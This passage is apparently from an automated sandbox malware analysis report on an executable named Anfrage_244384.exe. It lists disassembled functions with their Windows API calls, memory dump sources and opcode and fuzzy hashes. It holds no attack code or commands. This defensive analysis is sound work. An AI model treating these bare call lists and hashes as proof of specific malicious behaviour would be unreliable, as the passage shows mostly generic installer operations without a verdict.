                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: CloseDeleteOpenValue
                                                          • String ID:
                                                          • API String ID: 849931509-0
                                                          • Opcode ID: ff0e75e6dbc0e2437b530ccf3d824c87c8e4f35292bcf7b0d6f82daa0a276924
                                                          • Instruction ID: e00662a738be89c3cfbff0ecf138b3afd2420e904d99b7d2952bcd9b842c0734
                                                          • Opcode Fuzzy Hash: ff0e75e6dbc0e2437b530ccf3d824c87c8e4f35292bcf7b0d6f82daa0a276924
                                                          • Instruction Fuzzy Hash: 39F0AF72A00111ABDB20BFA09B8EABE72B89B40354F24003BF241B71C0D9FD8D029769
                                                          Function 00401A1E Relevance: 3.0, APIs: 2, Instructions: 30stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • ExpandEnvironmentStringsA.KERNELBASE(00000000,?,00000400,00000001), ref: 00401A31
                                                          • lstrcmpA.KERNEL32(?,?,?,00000400,00000001), ref: 00401A44
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: EnvironmentExpandStringslstrcmp
                                                          • String ID:
                                                          • API String ID: 1938659011-0
                                                          • Opcode ID: b5552f2be234a290874f3c0f94242e0d4c4f10651bf1eb4e94e930b3861cabfe
                                                          • Instruction ID: 71b0070a6829c7cde886a334cb24b035409c21bf23b10b7f61276c16d8a13fe4
                                                          • Opcode Fuzzy Hash: b5552f2be234a290874f3c0f94242e0d4c4f10651bf1eb4e94e930b3861cabfe
                                                          • Instruction Fuzzy Hash: C4F08231705201EBCF20DF659E45A9B7FA8EF91354B10403BE145F6190D6788542DA6C
                                                          Function 00401E25 Relevance: 3.0, APIs: 2, Instructions: 25COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • ShowWindow.USER32(00000000,00000000), ref: 00401E43
                                                          • EnableWindow.USER32(00000000,00000000), ref: 00401E4E
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Window$EnableShow
                                                          • String ID:
                                                          • API String ID: 1136574915-0
                                                          • Opcode ID: cac30e9f311eb4ad2c25aa1c1ee820d5a828409d143bedf3ac931335164bf815
                                                          • Instruction ID: 766ce69f8d9f29119b9d93d8ed06da5c6cb9de514c9912c491c81b05177acf23
                                                          • Opcode Fuzzy Hash: cac30e9f311eb4ad2c25aa1c1ee820d5a828409d143bedf3ac931335164bf815
                                                          • Instruction Fuzzy Hash: 40E01272B04211AFE714EBB5EA895AE7BB4EF40325B20403BE441F21D1DA7949419B5D
                                                          Function 0040615C Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetModuleHandleA.KERNEL32(?,?,?,0040320D,00000009), ref: 0040616E
                                                          • GetProcAddress.KERNEL32(00000000,?), ref: 00406189
                                                            • Part of subcall function 004060EE: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406105
                                                            • Part of subcall function 004060EE: wsprintfA.USER32 ref: 0040613E
                                                            • Part of subcall function 004060EE: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406152
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
                                                          • String ID:
                                                          • API String ID: 2547128583-0
                                                          • Opcode ID: 37fdef8a9e74f9e01c5d9cba486b55d61192e0831b538c4ba44b35669f5e3aa1
                                                          • Instruction ID: fe74a3adc9e6e91e185966662b1f988274032fa32bcfbda24cecdfcd84f5f1f8
                                                          • Opcode Fuzzy Hash: 37fdef8a9e74f9e01c5d9cba486b55d61192e0831b538c4ba44b35669f5e3aa1
                                                          • Instruction Fuzzy Hash: 94E08632604211ABD6115A749E0493B63A89F84740302443EF556F6181DB38DC3296AD
                                                          Function 00405A36 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetFileAttributesA.KERNELBASE(00000003,00402D3A,C:\Users\user\Desktop\Anfrage_244384.exe,80000000,00000003), ref: 00405A3A
                                                          • CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405A5C
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: File$AttributesCreate
                                                          • String ID:
                                                          • API String ID: 415043291-0
                                                          • Opcode ID: eb7c70162aaa2fbb41597db753891574ee1d02ab6b0bad872be1f899585ac646
                                                          • Instruction ID: c63a2702068139c3e9e84e7d8e4b9ff8807d85cc1eea12f828f76e542108ca00
                                                          • Opcode Fuzzy Hash: eb7c70162aaa2fbb41597db753891574ee1d02ab6b0bad872be1f899585ac646
                                                          • Instruction Fuzzy Hash: 4ED09E31254301EFEF098F20DE16F2EBAA2EB84B01F11552CBA82950E0DA7158199B15
                                                          Function 0040551F Relevance: 3.0, APIs: 2, Instructions: 9COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CreateDirectoryA.KERNELBASE(?,00000000,00403196,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00405525
                                                          • GetLastError.KERNEL32 ref: 00405533
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: CreateDirectoryErrorLast
                                                          • String ID:
                                                          • API String ID: 1375471231-0
                                                          • Opcode ID: 6906a218f2e8c60edb1d49339bec002b269bb684b810150c6462e9a7ab2278e9
                                                          • Instruction ID: 6753ad635049e665ee29f65e98c6a641fb529068fc3dcc6b05b24214ffa30412
                                                          • Opcode Fuzzy Hash: 6906a218f2e8c60edb1d49339bec002b269bb684b810150c6462e9a7ab2278e9
                                                          • Instruction Fuzzy Hash: 2FC04C70255901EBDB515F20AF087177965AB60781F564839618AE10E4DA748415D92D
                                                          Function 100027E8 Relevance: 2.7, APIs: 2, Instructions: 156memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • VirtualAlloc.KERNELBASE(00000000), ref: 100028A7
                                                          • GetLastError.KERNEL32 ref: 100029AE
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2561947930.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000000.00000002.2561930247.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.2562006314.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.2562021245.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_10000000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: AllocErrorLastVirtual
                                                          • String ID:
                                                          • API String ID: 497505419-0
                                                          • Opcode ID: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
                                                          • Instruction ID: 700bf99a33fcd989ee77f819fa46e2371db99389a88ce2eb288524e3b596c0af
                                                          • Opcode Fuzzy Hash: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
                                                          • Instruction Fuzzy Hash: 9751A2BA908214DFFB10DF64DCC674937A4EB443D4F21842AEA08E726DCF34A9808B95
                                                          Function 004025D7 Relevance: 1.6, APIs: 1, Instructions: 76COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: wsprintf
                                                          • String ID:
                                                          • API String ID: 2111968516-0
                                                          • Opcode ID: 49b3759869228e343b488f69512dd5783725357fe23cd51fc775af813734beff
                                                          • Instruction ID: 05ba47fdecc3ea63c4ababd7ecb476dc6fb20db578e5a9eb58a554c529b3a997
                                                          • Opcode Fuzzy Hash: 49b3759869228e343b488f69512dd5783725357fe23cd51fc775af813734beff
                                                          • Instruction Fuzzy Hash: 6021C970D0429AFADF218B9885486AEBF749F11314F1445BFE894B63D1C1BE8A81CF19
                                                          Function 0040166A Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • MoveFileA.KERNEL32(00000000,00000000), ref: 00401685
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: FileMove
                                                          • String ID:
                                                          • API String ID: 3562171763-0
                                                          • Opcode ID: 959bd50837eb92415fecec8519fb41a0f39fb6080f95b2b2d2609fca4733927e
                                                          • Instruction ID: af85bf01cb9a50de78f0d69bccb7876c1bca0e6a55c196669191a5ce7f6391a1
                                                          • Opcode Fuzzy Hash: 959bd50837eb92415fecec8519fb41a0f39fb6080f95b2b2d2609fca4733927e
                                                          • Instruction Fuzzy Hash: E6F09031B08225A3DB20B7B64F0DD5F11649B82368B34027BF111B21D1DABD860296AE
                                                          Function 00402695 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 004026B3
                                                            • Part of subcall function 00405D21: wsprintfA.USER32 ref: 00405D2E
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: FilePointerwsprintf
                                                          • String ID:
                                                          • API String ID: 327478801-0
                                                          • Opcode ID: 4841840ad3e59c26d6a825385cdbce8c8f4545ec6429af0b04c71902af0b9ea9
                                                          • Instruction ID: 70d0227debc7a37a578d7891b0457e087c522133a583d4ed7425beec3b860107
                                                          • Opcode Fuzzy Hash: 4841840ad3e59c26d6a825385cdbce8c8f4545ec6429af0b04c71902af0b9ea9
                                                          • Instruction Fuzzy Hash: 40E012B1B04119ABD701EB95AE898BF7BA9DF50329F10843BF141F10D1C67E49429B2D
                                                          Function 004022F2 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 0040232B
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: PrivateProfileStringWrite
                                                          • String ID:
                                                          • API String ID: 390214022-0
                                                          • Opcode ID: 0c403ca9e670ca7d91bfe0ece00723349c72c8e04d61ed265d5033cb5576c277
                                                          • Instruction ID: 835d7e161f894c1f3c63ad3b4a4a0fef325150ad5848be7be1b76146568c1c9e
                                                          • Opcode Fuzzy Hash: 0c403ca9e670ca7d91bfe0ece00723349c72c8e04d61ed265d5033cb5576c277
                                                          • Instruction Fuzzy Hash: 9EE04F31B001246BD7307AB10F8E97F10999BC4304B39153EBA01B62C6EDBC4C414AB9
                                                          Function 0040171F Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SearchPathA.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 00401733
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: PathSearch
                                                          • String ID:
                                                          • API String ID: 2203818243-0
                                                          • Opcode ID: b870edbfbee029a9ad95b8ba954cad8e8ca6e667ef8ccb932940172cb277afcb
                                                          • Instruction ID: ffb32fe50564557a3c315a30f6fc07dc6475dfcf7bd80787db6a7ea0a2c14a15
                                                          • Opcode Fuzzy Hash: b870edbfbee029a9ad95b8ba954cad8e8ca6e667ef8ccb932940172cb277afcb
                                                          • Instruction Fuzzy Hash: B2E020B1304111ABD710DF54DE48EAB3B58DF10368F30413AF151F60C0D5FA5945A738
                                                          Function 00402BD8 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • RegOpenKeyExA.KERNELBASE(00000000,000005B0,00000000,00000022,00000000,?,?), ref: 00402C00
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Open
                                                          • String ID:
                                                          • API String ID: 71445658-0
                                                          • Opcode ID: 72d4a8390eeea65c1ae52196c94098a904bafdf16ab8cb809bd630a83faab224
                                                          • Instruction ID: 602783241e3b5571dba8f65d987ce24de14800ae8f8c1c2312d958f7963b7942
                                                          • Opcode Fuzzy Hash: 72d4a8390eeea65c1ae52196c94098a904bafdf16ab8cb809bd630a83faab224
                                                          • Instruction Fuzzy Hash: 4EE04F76250108BADB00EFA4EE46F9537ECE744700F008435B608E61A1C674E5408B68
                                                          Function 00405ADD Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040310E,00000000,00415420,000000FF,00415420,000000FF,000000FF,00000004,00000000), ref: 00405AF1
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: FileWrite
                                                          • String ID:
                                                          • API String ID: 3934441357-0
                                                          • Opcode ID: 84c91d76a83be332908af776156b545b11287c12e2770689e8b3db02ea887268
                                                          • Instruction ID: 1ed90d873f298f356d36a2c1dae4bb172ade26fd4588ec9ef5a2339dc9f33d8e
                                                          • Opcode Fuzzy Hash: 84c91d76a83be332908af776156b545b11287c12e2770689e8b3db02ea887268
                                                          • Instruction Fuzzy Hash: 11E0EC3221425AABDF609E65DC04AEB7B7CFB05360F014436F925E6190D631F821DFA5
                                                          Function 00405AAE Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403158,00000000,00000000,00402F82,000000FF,00000004,00000000,00000000,00000000), ref: 00405AC2
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: FileRead
                                                          • String ID:
                                                          • API String ID: 2738559852-0
                                                          • Opcode ID: 7a5894fcc52b5b75c83558307916cd1b307e449aca39369e2409f4e78c5f9a6a
                                                          • Instruction ID: e0af876c1f8b3f6a8543b45de02fe6ba5ae560271bae9c5b6a9092efc5817470
                                                          • Opcode Fuzzy Hash: 7a5894fcc52b5b75c83558307916cd1b307e449aca39369e2409f4e78c5f9a6a
                                                          • Instruction Fuzzy Hash: FCE0463220029AABCF10AE509C40AAB3B6CEB00261F104832B916E3080E2B0E8209FA4
                                                          Function 1000270B Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • VirtualProtect.KERNELBASE(1000404C,00000004,00000040,1000403C), ref: 10002729
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2561947930.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000000.00000002.2561930247.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.2562006314.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.2562021245.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_10000000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: ProtectVirtual
                                                          • String ID:
                                                          • API String ID: 544645111-0
                                                          • Opcode ID: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
                                                          • Instruction ID: 4f82052a8ee677216feeb46ba648c84afb962adc58c95b92ee0d34447feb5494
                                                          • Opcode Fuzzy Hash: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
                                                          • Instruction Fuzzy Hash: B5F09BF19092A0DEF360DF688CC4B063FE4E3983D5B03892AE358F6269EB7441448B19
                                                          Function 0040159D Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A8
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
